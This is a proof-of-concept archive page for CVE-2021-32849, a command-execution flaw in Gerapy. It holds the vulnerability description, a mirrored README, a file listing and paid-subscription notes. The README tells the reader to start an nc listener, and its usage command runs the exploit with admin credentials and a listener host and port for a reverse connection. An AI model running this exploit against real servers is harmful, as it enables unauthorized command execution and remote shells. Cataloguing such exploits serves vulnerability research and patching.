Goal Reached Thanks to every supporter — we hit 100%!

Goal: 1000 CNY · Raised: 1000 CNY

100.0%
Buy Us a Coffee

CVE-2021-32849 PoC — Arbitrary command execution in Gerapy

Source
https://github.com/lowkey0808/cve-2021-32849
Associated Vulnerability
Title:Arbitrary command execution in Gerapy (CVE-2021-32849)
Description:Gerapy is a distributed crawler management framework. Prior to version 0.9.9, an authenticated user could execute arbitrary commands. This issue is fixed in version 0.9.9. There are no known workarounds.
Description
cve-2021-32849(gerapy命令执行)
Readme
# cve-2021-32849
cve-2021-32849(gerapy命令执行)

# 使用方式
先开启一个nc进行监听，再用exp去打
```
python3 CVE-2021-32849.py -u http://192.168.1.69:8000 -U admin -P admin@123 -r 10.10.16.34 -p 8888 -c id
```
![图片](https://user-images.githubusercontent.com/49674960/165035254-0a9f5f92-101a-476b-ab1d-1ae1024a4eac.png)
File Snapshot

 [4.0K]  /data/pocs/9c465d462b07ffbc985f3b37773bc085a0ad39d2
├── [2.7K]  CVE-2021-32849.py
└── [ 342]  README.md

0 directories, 2 files
Shenlong Bot has cached this for you
Remarks
    1. It is advised to access via the original source first.
    2. Local POC snapshots are reserved for subscribers — if the original source is unavailable, the local mirror is part of the paid plan.
    3. Mirroring, verifying, and maintaining this POC archive takes ongoing effort, so local snapshots are a paid feature. Your subscription keeps the archive online — thank you for the support. View subscription plans →